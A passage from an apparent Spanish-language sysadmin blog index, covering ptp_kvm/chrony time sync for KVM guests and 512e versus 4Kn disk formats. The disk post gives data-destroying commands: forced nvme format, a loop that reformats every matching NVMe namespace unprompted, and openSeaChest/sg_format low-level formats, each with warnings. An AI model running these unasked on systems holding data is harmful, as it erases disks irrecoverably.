calculó con un reloj que sí estuvo corriendo todo el rato. NTP a través de la red frente a ptp_kvm a través de una frontera de memoria chrony contra pools de red invitado el reloj no para de pararse red jitter, asimetría servidor de estrato 2 a decenas de ms el ida y vuelta lo mide el reloj que se está corrigiendo — y el proceso que mide puede ser desplanificado en plena medida chrony contra ptp_kvm invitado lee /dev/ptp_kvm reloj del host nunca dejó de correr hypercall KVM_HC_CLOCK_PAIRING una frontera de memoria, no una red sub-µs Sin paquetes, sin estrato, sin asimetría, y nada estimado. El invitado no está averiguando qué hora es — se la dicen, y es el único participante que estuvo despierto todo el intervalo. Ambos caminos terminan con el invitado ajustando su reloj. Uno mide un ida y vuelta de red con un reloj que no para de pararse; el otro le pregunta al hipervisor. Implementación Aplica esto a toda VM Linux que tenga el controlador. El hipervisor host necesita un NTP o un PTP que funcione, por su parte. ptp_kvm le entrega al invitado la hora del host, así que hereda el error del host.\n1. Cargar el módulo del kernel al arrancar.\n# /etc/modules-load.d/ptp_kvm.conf ptp_kvm 2. Darle un nombre estable y dejar que chrony lo lea.\n# /etc/udev/rules.d/90-ptp-kvm.rules ACTION==\u0026#34;add\u0026#34;, SUBSYSTEM==\u0026#34;ptp\u0026#34;, ATTR{clock_name}==\u0026#34;kvm\u0026#34;, SYMLINK+=\u0026#34;ptp_kvm\u0026#34;, GROUP=\u0026#34;chrony\u0026#34;, MODE=\u0026#34;0660\u0026#34; El enlace simbólico importa porque la numeración de dispositivos PTP no es estable. /dev/ptp0 puede ser el reloj de una NIC en un arranque y el reloj KVM en el siguiente. Filtrar por clock_name atrapa el correcto cada vez.\n3. Apuntar chrony hacia él, y quitar los pools.\nEdita /etc/chrony/chrony.conf en Debian y Ubuntu, o /etc/chrony.conf en la familia RHEL. Borra las líneas pool y usa:\nrefclock PHC /dev/ptp_kvm poll 2 stratum 1 delay 0.0004 Quitar los pools no es una limpieza opcional. Dejarlos le pide a chrony que reconcilie una referencia local por debajo del microsegundo contra servidores de internet a decenas de milisegundos, y las fuentes de internet solo pueden empeorar la respuesta.\n4. Reiniciar y comprobar.\nsystemctl restart chronyd # or chrony, on Debian/Ubuntu Verificación # The symlink exists and points at the KVM clock ls -l /dev/ptp_kvm cat /sys/class/ptp/ptp*/clock_name # chrony should be using PHC0 as its selected source chronyc sources -v # and the offset should be microseconds, not milliseconds chronyc tracking En chronyc sources, la refclock PHC aparece como #* PHC0 una vez seleccionada. El # marca una referencia hardware local en vez de un par de red, y el * marca la que está en uso. Si la ves listada pero no seleccionada, chrony no la ha aceptado: comprueba los permisos del dispositivo y que el grupo chrony de la regla udev coincide con el usuario bajo el que chrony corre realmente en tu distribución.\nSalvedades El host tiene que estar bien. Esto pone al invitado de acuerdo con el host, lo cual solo sirve si el host está de acuerdo con la realidad. Dales a los hipervisores NTP o PTP de verdad. Todos los invitados lo necesitan. Un parque donde la mitad de las VM usan ptp_kvm y la otra mitad pools de internet es un parque con dos autoridades de tiempo. La migración en vivo va bien, y es el objetivo. Tras migrar, el invitado lee el reloj de su nuevo host. Siempre que los hosts estén de acuerdo entre sí, el invitado nunca ve un salto. Solo KVM. Es un hypercall de KVM. Los hipervisores anidados o ajenos no presentarán el dispositivo, y la regla udev simplemente no se disparará. Eso es un fallo limpio en vez de una respuesta silenciosamente equivocada. Qué no hacer No fuerces la clocksource. Deja kvm-clock en paz. Forzar tsc o hpet en la línea de comandos del kernel del invitado cambia un reloj paravirtual diseñado para esta situación por un contador que nunca fue tuyo. No lances ntpdate ni hwclock desde cron. Eso es un salto de reloj a hora fija, exactamente lo que odian las bases de datos y Kerberos. No mantengas los pools «como respaldo». Con una refclock que funciona no son un respaldo, son una segunda opinión de una fuente peor. No subas mon_clock_drift_allowed y lo des por arreglado. Has gastado parte de un presupuesto que existe para la realidad de la red, con tal de tolerar un problema cuya solución es conocida. Ese último merece decirse claro: ensanchar el umbral no arregla el reloj. Mueve la alarma para que deje de sonar.\nReferencias Linux kernel — KVM timekeeping — por qué la hora del invitado se queda atrás, el problema de reloj local del TSC, y la conclusión de que solo existen compromisos Linux kernel — PTP_KVM — la interfaz de hypercall tras el dispositivo de reloj PTP Linux kernel — KVM x86 hypercalls — KVM_HC_CLOCK_PAIRING, el lado x86 de la cosa chrony — chrony.conf — la directiva refclock y las opciones del controlador PHC MIT Kerberos — krb5.conf — clockskew y su valor por defecto de 300 segundos Microsoft — support boundary for high accuracy time — los objetivos de precisión, y las condiciones de utilización de CPU del host para sistemas virtualizados Ceph — health checks — MON_CLOCK_SKEW, mon_clock_drift_allowed y su relación con mon_lease ","permalink":"https://blogs.damiendye.uk/es/proxmox/vm-time-ptp-kvm/","summary":"El reloj de una máquina virtual se apoya en una suposición que la virtualización rompe: que la CPU sigue contando. Por qué la hora de los invitados deriva en todos los hipervisores, qué rompe de verdad el desfase — Kerberos, TLS, Ceph, Windows — y cómo ptp_kvm lo arregla como es debido en QEMU/KVM.","title":"El reloj de una VM no es de fiar — y el arreglo ptp_kvm para QEMU/KVM"},{"content":"Tres formas en que un disco puede presentarse Un disco tiene dos tamaños de bloque, y la diferencia entre ellos es toda la historia.\nEl sector físico es en lo que el medio trabaja de verdad — la unidad más pequeña que el disco puede leer o escribir sin hacer trabajo extra. El bloque lógico es en lo que el disco le dice al host que trabaja — la unidad que el host direcciona.\nHay tres combinaciones por ahí.\n512n — 512 nativo. Los dos tamaños son de 512 bytes. Este es el mundo viejo: discos duros anteriores a 2010, y nada que comprarías nuevo hoy en ningún tamaño que valga la pena.\n512e — emulación de 512 bytes. El sector físico es de 4096 bytes, pero el disco informa de bloques lógicos de 512 bytes y traduce en el firmware. Esto existe por una razón: compatibilidad con sistemas operativos, gestores de arranque y aplicaciones que dieron por sentado los 512 para siempre. Bastante sensato como ingeniería, y la raíz de casi todos los problemas que siguen.\n4Kn — 4K nativo. Los dos tamaños son de 4096 bytes. El disco dice la verdad, el host lo direcciona en la unidad que usa el medio, y no hay ninguna capa de traducción en medio.\n512n, 512e y 4Kn: lo que el host direcciona frente a lo que usa el medio fila superior = lógico, lo que el host direcciona · fila inferior = físico, en lo que trabaja el medio 512n 512512 512512 512512 512512 1:1, y honesto — pero obsoleto. Nada nuevo se entrega así. 512e 8 × 512 B lógico — lo que se le dice al host un sector físico de 4096 B — lo que existe de verdad el firmware traduce, cada acceso El host direcciona algo que no está ahí. Las escrituras que no llenan un sector cuestan extra. 4Kn un bloque lógico de 4096 B un sector físico de 4096 B nada que traducir El disco dice la verdad, así que nada aguas abajo puede tomar una decisión sobre un número equivocado. 512e es el caso interesante: el host direcciona algo que no existe, y el firmware mantiene la ficción en cada acceso. Qué hace 512e en cada escritura desalineada Una lectura es barata en los tres casos. El disco lee el sector de 4K y devuelve la porción de 512 bytes que pediste.\nLas escrituras son donde la ficción se pone cara.\nSi el host escribe un único bloque lógico de 512 bytes, el disco no puede escribir 512 bytes. El medio no tiene tal unidad. Así que hace esto en su lugar:\nLee el sector físico entero de 4096 bytes. Fusiona en él los 512 bytes de datos nuevos. Vuelve a escribir el sector entero de 4096 bytes. Eso es una lectura-modificación-escritura, y convierte una escritura pequeña en una lectura más una escritura. En un disco giratorio eso significa esperar a que el plato vuelva a dar la vuelta. Una rotación completa a 7 200 rpm es algo así como 8ms que no habías presupuestado. En flash el coste es distinto en clase, y no desaparece cuando la escritura termina. Ese tiene su propia sección más abajo.\nLa penalización de la lectura-modificación-escritura, y qué le hace la desalineación 4Kn — escritura de 4 KB alineada 4 KB de datos nuevos llenan el sector 1 escritura nada que leer primero 512e — escribir un bloque lógico de 512 B 1. lee el sector físico entero 4096 B leídos 2. fusiona los 512 B solo esto cambió de verdad 3. vuelve a escribir el sector entero 4096 B escritos 1 lectura + 1 escritura una rotación en un disco; una página programada en flash 512e — escritura de 4 KB desalineada (la cara) una escritura de 4 KB, desplazada medio sector sector físico n sector físico n+1 2 lecturas-modificación-escritura en cada escritura, para siempre Las herramientas de particionado modernas alinean al sector físico por defecto, así que esto suele heredarse de una instalación vieja o una imagen clonada en vez de crearse de nuevo. No se arregla solo. Una escritura de 4K alineada a 4K no necesita ninguna lectura. Todo lo demás sí — y una escritura que cruza una frontera de sector necesita dos. La desalineación es la versión de esto que muerde más fuerte. Si una partición empieza en un desplazamiento impar de 512 bytes — el clásico es la vieja convención de 63 sectores — entonces cada escritura de 4K del sistema de ficheros cruza dos sectores físicos. Eso no es una lectura-modificación-escritura, son dos, en cada escritura, para siempre, hasta que alguien reparticione el disco.\nAmplificación de escritura en flash En un disco duro la lectura-modificación-escritura te cuesta una rotación y luego se acaba. En flash te cuesta vida del disco, y esa es una factura que pagas una vez y sigues pagando.\nLa amplificación de escritura es la proporción de lo que de verdad se escribió en la NAND frente a lo que el host pidió escribir. Una proporción de 1.0 significaría que el disco escribió exactamente lo que se le dio. Nunca es 1.0, porque la flash no puede sobrescribir en el sitio: el disco programa una página nueva, marca la vieja como obsoleta, y la recolección de basura reubica después las páginas supervivientes para poder borrar un bloque entero. Esas reubicaciones también son escrituras.\n512e añade una capa evitable encima de eso, y la razón es un detalle que vale la pena enunciar con claridad: la capa de traducción del disco mapea en unidades de en torno a 4 KB sin importar el tamaño de bloque lógico que anuncie. Un disco que informa de bloques de 512 bytes sigue rastreando unidades de 4 KB internamente.\nAsí que una escritura de 512 bytes del host se convierte, dentro del disco, en: lee la unidad de mapeo de 4 KB, fusiona los 512 bytes, programa una nueva unidad de 4 KB. 4096 bytes llegan a la NAND para que 512 bytes pudieran cambiar. Ocho veces la escritura, para esa escritura.\nLa desalineación es menos dramática por escritura y peor en total. Una escritura de 4 KB que cruza dos unidades de mapeo ensucia las dos, así que se programan 8 KB para 4 KB de datos. Eso es una amplificación de 2× en cada escritura, permanentemente, hasta que se arregle la tabla de particiones.\nPor qué una escritura desalineada duplica lo que llega a la NAND leyendo hacia abajo: lo que el host escribió → las unidades de mapeo de 4 KB del disco → lo que llegó a la NAND 512e — escritura de 4 KB, desalineada 4 KB del host unidad n unidad n+1 4 KB reescritos 4 KB reescritos 8 KB escritos para 4 KB — WAF 2× en cada escritura, hasta arreglar la tabla de particiones 4Kn — escritura de 4 KB, alineada 4 KB del host unidad n 4 KB escritos 4 KB por 4 KB — WAF ≈ 1× el suelo, antes de la recolección de basura Ningún lado escapa a la recolección de basura: el disco todavía tiene que reubicar lo que esté vivo en un bloque antes de poder borrarlo, y ese trabajo escala con cuánto se escribió en primer lugar. 4Kn no hace desaparecer la amplificación — quita la parte de ella que pagabas por nada. El host pidió los mismos 4 KB en ambos casos. A la izquierda cae a través de dos unidades de mapeo, así que las dos se reescriben — y la recolección de basura moverá después lo que siga vivo en ellas. Los efectos en cadena son lo que hace que esto importe en vez de ser solo desaseado:\nMás escrituras en la NAND significa que la recolección de basura corre más a menudo, y sus reubicaciones son amplificación en sí mismas. Una caché de escritura SLC se llena antes, así que el disco cae a su estado estacionario más lento antes y el rendimiento de escritura sostenido baja. Los ciclos de programa/borrado se consumen en proporción a lo que llegó a la NAND, no a lo que el host envió. Duplica la amplificación y has reducido a la mitad la vida del disco para la misma carga. Las valoraciones de resistencia — TBW, DWPD — se citan contra las escrituras del host. La amplificación se come ese margen en silencio, y el disco se desgasta por delante de la aritmética de garantía que hiciste al comprarlo. Las escrituras directas y síncronas son el peor caso La mayor parte del tiempo la caché de páginas esconde todo esto. El núcleo acumula escrituras pequeñas, las fusiona, y emite IO de 4 KB o mayor al disco, así que la lectura-modificación-escritura nunca ocurre.\nDos flags quitan esa protección, y las aplicaciones a las que les importa la durabilidad ponen las dos.\nO_DIRECT se salta la caché de páginas. Ahora no hay nada entre la aplicación y el disco que fusione una escritura de 512 bytes en algo del tamaño de un sector.\nO_SYNC u O_DSYNC exige que la escritura esté en un medio estable antes de que la llamada retorne. Eso impide que el disco absorba la escritura en un búfer volátil y la combine con sus vecinas más tarde.\nPonlos juntos y cada escritura de 512 bytes es un ciclo completo de lectura-modificación-escritura que tiene que terminar ahora, por sí solo, sin nada contra lo que amortizarse. Ahí es donde la amplificación en un disco 512e se acerca a su 8× teórico, y es exactamente el patrón que produce un log de commits de base de datos, un ZIL de ZFS o un WAL de BlueStore de Ceph.\nLa protección ante pérdida de energía es lo que rescata esto en el hardware empresarial. Un disco con PLP puede confirmar una escritura síncrona una vez que está en un búfer DRAM respaldado por condensadores, que es durable, y aun así fusionar internamente antes de programar la NAND. Un disco de consumo sin PLP tiene que llegar a la flash antes de poder responder, así que paga el coste completo por escritura. Una razón más de que el PLP no es opcional para esta clase de carga.\nEn Proxmox el modo de caché decide cuál de estos te toca:\ncache=none es O_DIRECT — el valor por defecto de PVE, y la elección correcta para HA all-flash. La caché de páginas del host queda fuera del camino, así que los patrones de escritura del invitado llegan al disco tal como el invitado los emitió. cache=directsync es O_DIRECT más O_DSYNC — cada escritura síncrona. Es un ajuste de nicho para discos dedicados a logs de base de datos e inusable para cargas generales. En un dispositivo de respaldo 512e, cache=directsync con un invitado confirmando en registros de 512 bytes es más o menos el arreglo menos eficiente disponible: sin fusión en el host, sin fusión en el disco, y una lectura-modificación-escritura por commit.\nY aquí está la parte que hace 4Kn estructural en vez de meramente preferible. O_DIRECT exige que el desplazamiento, la longitud y el búfer estén alineados al tamaño de bloque lógico del disco. En un disco 512e eso es 512 bytes, así que una escritura directa de 512 bytes es legal y el disco la paga en silencio. En 4Kn el bloque lógico es 4096, así que la escritura directa más pequeña que el núcleo aceptará es de 4 KB. El patrón patológico deja de ser algo que tienes que evitar y pasa a ser algo que la pila no puede expresar.\nSobrecarga en el medio El segundo coste es estructural, y es la razón de que Advanced Format exista siquiera.\nUn sector no es solo sus datos. En un disco duro cada uno lleva una marca de sincronización para que la cabeza sepa dónde empieza el sector, un hueco para que los sectores consecutivos no se solapen, un marcador de dirección, y un campo ECC para corregir errores de lectura.\nCon sectores de 512 bytes pagas todo eso ocho veces por cada 4K de datos. Con un sector de 4K lo pagas una vez.\nEso tiene dos consecuencias, y la segunda importa más que la primera:\nParte del plato que era sobrecarga pasa a ser capacidad usable. Esta fue la motivación declarada de la industria durante la transición a Advanced Format, en porcentajes bajos de un solo dígito. El campo ECC puede ser mucho mayor para la misma sobrecarga total. Un código fuerte que protege 4096 bytes corrige mucho más que ocho códigos débiles que protegen 512 bytes cada uno. Según subía la densidad de área, eso dejó de ser un lujo y pasó a ser la única forma de mantener aceptables las tasas de error. La sobrecarga por sector se paga ocho veces a 512 bytes y una a 4K sectores de 512 bytes — los mismos 4 KB de datos 8 sectores × (sync + datos + ECC + hueco) 8 × la sobrecarga por sector, y ocho campos ECC pequeños Un sector de 4096 bytes — los mismos datos 1 × la sobrecarga, y un campo ECC mucho mayor sincronización · dirección · hueco ECC tus datos Sin escala — los campos de sobrecarga están exagerados para que se vean siquiera. La capacidad recuperada valía un porcentaje bajo de un solo dígito. El ECC más fuerte es por lo que la industria de verdad se movió. Ocho juegos de marcas de sincronización, huecos y ECC, o uno. El espacio recuperado es la pequeña victoria; la corrección de errores más fuerte es la razón por la que la industria se movió. La flash no tiene marcas de sincronización ni huecos de rotación, pero la misma lógica se aplica un nivel más arriba: la NAND se programa en páginas, las páginas son mucho mayores que 512 bytes, y las tablas de mapeo del disco tienen una entrada por unidad direccionable. Bloques lógicos más pequeños significan más metadatos para rastrear la misma capacidad.\nSobrecarga en el host: comandos e interrupciones El tercer coste es el que la gente se salta, porque no está en el disco en absoluto.\nEl tamaño de bloque lógico fija el suelo de cuán pequeña puede ser una IO. En un disco de bloque lógico de 512 bytes, un sistema de ficheros o una aplicación es libre de emitir una escritura de 512 bytes, y cada una es una IO completa: un comando construido y enviado, una escritura de doorbell, una entrada en la cola de finalización, y una interrupción para decir que terminó.\nCada una de esas tiene un coste fijo al que le da igual cuántos datos estaban implicados. Mueve 4KB como ocho comandos de 512 bytes y pagas ese coste ocho veces. Muévelo como un comando de 4K y lo pagas una vez.\nEl tamaño de bloque lógico fija el suelo del tamaño de IO, y cada comando tiene un coste fijo bloques lógicos de 512 B — una aplicación puede emitir escrituras de 512 B 4 KB de datos se convierten en 8 comandos 512 B512 B 512 B512 B 512 B512 B 512 B512 B 8 × envío + doorbell 8 × entrada de finalización 8 × oportunidad de interrupción 8 × el coste fijo por comando para exactamente los mismos 4 KB de datos bloques lógicos de 4 KB — 4 KB es el suelo un comando de 4 KB 1 × envío, 1 × finalización, 1 × interrupción 1 × el coste fijo Esto solo ayuda donde de verdad se emite IO pequeña: un comando puede describir muchos bloques, así que una escritura de 1 MB es un comando de todos modos. Los mismos 4 KB de datos. El disco no es el cuello de botella aquí — el coste por comando y por finalización en el host sí lo es. Dos matices honestos, porque aquí es donde el argumento se exagera habitualmente.\nPara IO grande, el tamaño de bloque lógico no cambia nada del número de comandos. Un solo comando puede describir muchos bloques, así que una escritura secuencial de 1MB es un comando tanto si los bloques son de 512 bytes como de 4K. El ahorro es real solo donde se está emitiendo IO pequeña.\nDonde sí se emite IO pequeña, sin embargo, el efecto no es sutil: cada una de esas ocho peticiones es una que el núcleo tiene que construir, planificar y completar, cada una con su propia interrupción MSI-X y su transición de usuario a núcleo, y a profundidades de cola altas así es como consigues una tormenta de interrupciones. Dentro de una VM es peor aún, porque cada una de esas interrupciones es también un cambio de contexto de invitado.\nY las controladoras NVMe modernas fusionan interrupciones, así que el número de interrupciones no es simplemente el número de comandos. El trabajo de envío y finalización por comando permanece, sin embargo, y a unos pocos cientos de miles de IOPS el coste de CPU por comando es una fracción medible de un núcleo. Esta es la misma aritmética que las interrupciones publicadas en la serie de passthrough — pequeños costes fijos multiplicados por un número muy grande.\n4Kn, metadatos de sector y RAID por hardware Ir a un formato 4096 + 0 tiene una consecuencia que pilla a la gente, y cae de lleno sobre el RAID por hardware.\nAlgunas controladoras RAID y arrays de almacenamiento no usan sectores planos de 512 o 4096 bytes en absoluto. Formatean los discos a un tamaño extendido — 520 o 528 bytes, o los equivalentes de 4K como 4104, 4160 y 4224 — porque esos bytes extra por sector son donde la controladora guarda sus propios metadatos. Eso es información de protección T10-PI/DIF, o datos de integridad de fabricante, almacenados en línea con los mismísimos datos que describe.\nUn formato 4096 + 0 no tiene dónde ponerlos. El sector es datos, de punta a punta, y ese es todo el objeto de elegirlo.\nAsí que una controladora que quiere metadatos en línea tiene tres opciones, y ninguna es gratis:\nRechazar el disco. Reformatearlo de vuelta a un formato extendido, deshaciendo el trabajo de 4Kn que acabas de hacer. Guardar sus metadatos en otro sitio del disco. La tercera es donde la flash te castiga. Los metadatos escritos aparte de los datos que describen son una segunda escritura, en un desplazamiento distinto, cayendo en una unidad de mapeo distinta. Otra página NAND programada por cada una que de verdad querías escribir. Esa es la amplificación de la sección de arriba, reintroducida deliberadamente, para llevar metadatos de integridad que el disco podría haber guardado en línea gratis si lo hubieras dejado en un formato extendido.\nNo puedes tener las dos cosas. O el sector lleva los metadatos de la controladora, o lleva solo tus datos.\nPor lo que la flash ha socavado bastante el argumento del RAID por hardware El resto de esto es juicio y no mecanismo, así que tómalo como tal.\nUna controladora RAID por hardware es RAID por firmware corriendo en un procesador dedicado. El «hardware» es una CPU, algo de DRAM y una batería. No una forma fundamentalmente distinta de computar la paridad. Lo que históricamente te compraba era una caché de escritura respaldada por batería y descarga de la paridad, y en flash ambos argumentos se han debilitado mucho. La NVMe empresarial ya tiene una caché propia protegida ante pérdida de energía, y la controladora se convierte en un techo de ancho de banda por delante de dispositivos que cada uno puede saturar varios gigabytes por segundo.\nTambién te cuesta cosas que ahora quieres activamente:\nEl estado del dispositivo desaparece. El detalle SMART, los indicadores de desgaste y los registros de fabricante que te dejan calcular la amplificación de escritura están todos detrás de una abstracción opaca. Sin sumas de comprobación de punta a punta. Una controladora verifica la paridad, lo que detecta un disco ausente, no una respuesta equivocada de uno presente. ZFS y Ceph hacen sumas de comprobación de los datos en sí y pueden decirte qué copia está mal — corrupción silenciosa que una controladora deja pasar tal cual. Por eso, la controladora está resolviendo el problema equivocado. Los metadatos de fabricante en los discos atan el array a una familia de controladora, lo que es su propia clase de poco fiable cuando la controladora es lo que falla. El RAID de paridad hace su propia lectura-modificación-escritura en las escrituras de banda parcial, apilándose encima de todo lo de las secciones de arriba. Para Ceph esto ni siquiera es una preferencia. La propia guía hiperconvergente de Proxmox es que los discos deben presentarse en modo HBA o passthrough, no detrás de una controladora RAID, y ZFS quiere exactamente lo mismo por las mismas razones.\nAsí que el arreglo que se deduce de todo esto es: un HBA en vez de una controladora RAID, discos formateados 4Kn con cero metadatos, y redundancia más sumas de comprobación hechas por ZFS o Ceph, que sí pueden decirte cuándo un disco mintió. Si algo en tu parque de verdad necesita un formato de sector extendido, eso es un o-lo-uno-o-lo-otro deliberado que resolver mientras los discos todavía están vacíos. No algo que descubrir después de construir los OSD.\nDónde muerde de verdad 512e Sería deshonesto afirmar que 512e arruina un sistema moderno, porque normalmente no lo hace.\nUna pila Linux actual lee el tamaño de sector físico, alinea las particiones a él — parted y sfdisk lo hacen ambos por defecto ahora — y usa bloques de sistema de ficheros de 4K. En esa configuración el host emite IO de 4K alineada a 4K, el disco nunca necesita una lectura-modificación-escritura, y 512e te cuesta casi nada.\nLos problemas son concretos:\nParticiones desalineadas, normalmente heredadas de una instalación vieja o una imagen clonada. Dos lecturas-modificación-escritura en cada escritura. ZFS con ashift=9 en un disco 512e, porque ZFS se creyó los 512 informados. Cada escritura de registro se convierte en una lectura-modificación-escritura, y no puedes cambiar ashift a posteriori — el pool hay que reconstruirlo. Aplicaciones que escriben registros de 512 bytes con O_DIRECT, saltándose la fusión de la caché de páginas. Algunas bases de datos y mucho software a medida hacen esto. Cualquier cosa que se fía de que el tamaño lógico sea el real. Ese es el daño de verdad en la emulación: reparte un número que es incorrecto, y las cosas aguas abajo toman decisiones con él. 4Kn quita toda la categoría. El disco no puede mentir sobre un tamaño de sector que no tiene.\nVale la pena ser claro sobre el tamaño del premio, sin embargo. La propia guía de Seagate es que 4Kn vale claramente la pena perseguirlo cuando la pila está plenamente optimizada para 4K y estás contando cada IOPS — un nivel all-flash afinado, digamos. Por debajo de eso, en un Linux moderno correctamente alineado, la diferencia de rendimiento para IO alineada suele ser pequeña. El otro argumento es la consistencia del parque: un parque uniformemente 4Kn no tiene sorpresas de formato mixto, y nadie tiene que acordarse de qué discos mienten.\nLa mayoría de los discos se pueden convertir — si el fabricante lo permite Esta es la parte que se pasa por alto: 512e es a menudo un ajuste de formato, no una propiedad del hardware. Muchísimos discos SAS y SATA empresariales, y la mayoría de la NVMe empresarial, se entregan informando de 512 bytes y se reformatearán a 4Kn de buena gana.\nTodo lo siguiente destruye cada byte del dispositivo. No hay conversión en el sitio.\nNVMe — nvme-cli Mira primero qué soporta el namespace:\n# Lists each LBA format and marks which one is in use nvme id-ns -H /dev/nvme0n1 | grep -i \u0026#34;lbaf\\|data size\u0026#34; Quieres un formato con Data Size 4096 y Metadata Size 0, marcado como mejor y no en uso actualmente. Luego aplícalo:\n# -l/--lbaf selects the LBA format index from the list above nvme format /dev/nvme0n1 --lbaf=1 --force El tamaño de metadatos importa tanto como el tamaño de datos. Algunos formatos de fábrica reservan bytes extra por sector — 520, o 4160 — para llevar metadatos de protección T10-PI/DIF de punta a punta. Si nada en tu pila consume eso, es relleno en cada sector, así que elige el formato de cero metadatos y quítatelo de encima. Elegir un formato con metadatos por accidente también te deja un disco que se comporta distinto del que querías crear, y combinar un cambio de tamaño de sector con un cambio de PI puede forzar un formato completo lento en vez de uno rápido.\nPara todos los discos de un host, hazlo en bucle. Esto necesita shopt -s extglob para los globs extendidos, y selecciona solo formatos que sean 4096/0 y no estén en uso:\nshopt -s extglob for dev in /dev/nvme+([0-9])n+([0-9]); do # Skip anything that is not actually there [ -e \u0026#34;$dev\u0026#34; ] || continue # An LBA format with 4096-byte data, 0-byte metadata, marked Best, not in use lbaf=$(nvme id-ns -H \u0026#34;$dev\u0026#34; \\ | grep -P \u0026#39;(?=.*Metadata Size: 0)(?=.*Data Size: 4096)(?=.*Best)(?!.*in use)\u0026#39; \\ | awk \u0026#39;{found=$3} END {print (found != \u0026#34;\u0026#34; ? found : -1)}\u0026#39;) if [ \u0026#34;$lbaf\u0026#34; != \u0026#34;-1\u0026#34; ]; then echo \u0026#34;Formatting $dev using LBA Format: $lbaf\u0026#34; nvme format --force --lbaf=\u0026#34;$lbaf\u0026#34; \u0026#34;$dev\u0026#34; else echo \u0026#34;Skipping $dev: no matching LBA format found.\u0026#34; fi done Dos cosas ahí dentro hacen más trabajo del que parece.\nEl glob coincide con namespaces — nvme0n1, nvme12n3 — y deliberadamente no coincide con particiones como nvme0n1p1, porque el patrón termina después de los dígitos que siguen a la n. Esa es la diferencia entre reformatear un namespace y hacerle algo irrecuperable a un sistema en marcha.\nY la selección solo convierte alguna vez un disco que de verdad ofrece lo que pediste. Cualquier otra cosa cae hasta -1 y se salta, lo que cubre tres casos separados:\nEl disco solo ofrece 512. No existe ningún formato de 4096 bytes, así que no hay nada a lo que convertir y el bucle lo deja en paz. No lo intenta, y no falla a medias. El disco ya es 4Kn. El formato 4096/0 es el que está en uso, y (?!.*in use) lo excluye — así que una segunda pasada por el mismo host es una operación nula. Sin reformateo innecesario de cada disco. Los únicos formatos de 4096 llevan metadatos. Un formato 4096 + 8 no satisface Metadata Size: 0, así que el bucle no te dará en silencio un disco T10-PI que no pediste. En otras palabras falla cerrado. Cuando no está seguro, se salta.\nUna nota de portabilidad: esos lookaheads necesitan el modo -P (PCRE) del grep de GNU. En un sistema donde grep es otra cosa, el patrón no coincide con nada y cada disco se salta. Molesto, pero al menos yerra en la dirección segura.\nLee el bucle antes de correrlo, de todas formas. Donde sí coincide, reformatea sin más avisos. nvme format --force no pregunta dos veces. Su sitio está en el aprovisionamiento, en una máquina cuyos discos no guardan nada, nunca en un host con un OSD, pool o disco de VM en marcha.\nEn FreeBSD el equivalente es nvmecontrol, donde -f es el índice de formato:\nnvmecontrol format -f 1 nvme0ns1 SAS y SATA — openSeaChest El openSeaChest de Seagate es multiplataforma, de código abierto, y funciona también en discos de otros fabricantes.\n# Find the handle openSeaChest_Format --scan # Ask the drive which sector sizes it will accept openSeaChest_Format -d /dev/sg1 --showSupportedFormats # Convert. The confirmation string is deliberately hard to type by accident. openSeaChest_Format -d /dev/sg1 --setSectorSize 4096 \\ --confirm this-will-erase-data-and-may-render-the-drive-inoperable Esa frase de confirmación no es que yo esté siendo dramático. Es la cadena literal que la herramienta exige, y la parte de «may render the drive inoperable» — puede dejar el disco inoperable — es real. Un formato de bajo nivel interrumpido por un corte de luz puede dejar un disco que necesite otro formato antes de que funcione siquiera.\nPor debajo, la operación difiere según el transporte: SAS y SCSI usan Format Unit, SATA usa Set Sector Configuration Ext — el camino de formato rápido — y NVMe usa NVM Format. Para un disco SAS puedes conducir Format Unit directamente, y ten en cuenta que esta opción toma la cadena de confirmación más corta:\nopenSeaChest_Format -d /dev/sg1 --formatUnit 4096 --poll \\ --confirm this-will-erase-data Dos opciones distintas, dos cadenas de confirmación distintas — cámbialas de sitio y la herramienta se niega.\nDonde el disco soporta un formato rápido, el tamaño de sector cambia en segundos en vez de horas; el disco hace luego su trabajo de integridad y de fondo después, y escribir tus datos reales encima reduce ese tiempo de fondo. Un formato completo escribe ceros de punta a punta y puede tardar muchas horas o días en un disco giratorio grande.\nopenSeaChest_Format -d /dev/sg1 --setSectorSize 4096 --fastFormat \\ --confirm this-will-erase-data-and-may-render-the-drive-inoperable SCSI — sg_format Para cualquier cosa que hable SCSI, sg3_utils hará el mismo trabajo:\n# --size requires --format; expect hours on a large spinning disk sg_format --format --size=4096 /dev/sdb # Fast format where the drive supports it — seconds instead of hours sg_format --format --size=4096 --ffmt=1 /dev/sdb sg_format te da una cuenta atrás de 15 segundos antes de comprometerse, que --quick se salta. Su documentación también advierte de un fallo concreto que conviene conocer: si el cambio de tamaño de bloque tiene éxito pero el formato luego falla, el disco puede acabar en un estado «format corrupt» — formato corrupto — y necesita otro formato para recuperarse.\nAntes de convertir nada Comprueba el camino de arranque. Un disco 4Kn como dispositivo de arranque necesita UEFI y un SO que lo soporte. El Linux moderno va bien. El Windows más antiguo no, y algunas controladoras RAID por hardware todavía rechazan 4Kn por completo. Hazlo antes de que el disco guarde nada. Reajustarlo significa evacuar, convertir, restaurar. Haz uno, luego comprueba. Convierte un solo disco, confirma los tamaños informados, y luego haz el resto. Cuenta con horas en un disco giratorio sin formato rápido. No empieces un formato de bajo nivel en una máquina que necesitas de vuelta pronto. Comprobar lo que tienes # LOG-SEC is what the host addresses, PHY-SEC is what the medium uses lsblk -o NAME,MODEL,SIZE,LOG-SEC,PHY-SEC # The same, from sysfs cat /sys/block/sda/queue/logical_block_size cat /sys/block/sda/queue/physical_block_size # SMART states both, and this is the clearest 512e signature there is smartctl -a /dev/sda | grep -i \u0026#34;sector size\u0026#34; 512 bytes logical, 4096 bytes physical es un disco 512e. Números que coinciden significan nativo — 512n si los dos son 512, 4Kn si los dos son 4096.\nY comprueba que las particiones de verdad cuadran:\nparted /dev/sda align-check optimal 1 ZFS, Ceph y discos virtuales ZFS — pon ashift=12 explícitamente al crear un pool, y no te fíes del tamaño informado por el disco, porque en 512e te dirá 9 y estará mal. No se puede cambiar después.\nCeph — el tamaño mínimo de asignación de BlueStore debería ser 4 KB en flash. El Ceph moderno usa por defecto 4096, pero las builds más antiguas usaban por defecto más — en torno a 16 KB en SSD y 64 KB en HDD — y eso le sienta mal a los discos de VM RBD, porque emiten muchas escrituras aleatorias pequeñas de 4 KB y una escritura de 4 KB que cae en una unidad de asignación de 16 o 64 KB a la vez amplifica la escritura y desperdicia el resto en relleno. Se fija al crear el OSD, así que hay que ponerlo antes de crear o reconstruir:\nceph config set global bluestore_min_alloc_size_ssd 4096 # new or rebuilt OSDs only Hay un bluestore_min_alloc_size_hdd correspondiente. Los OSD existentes 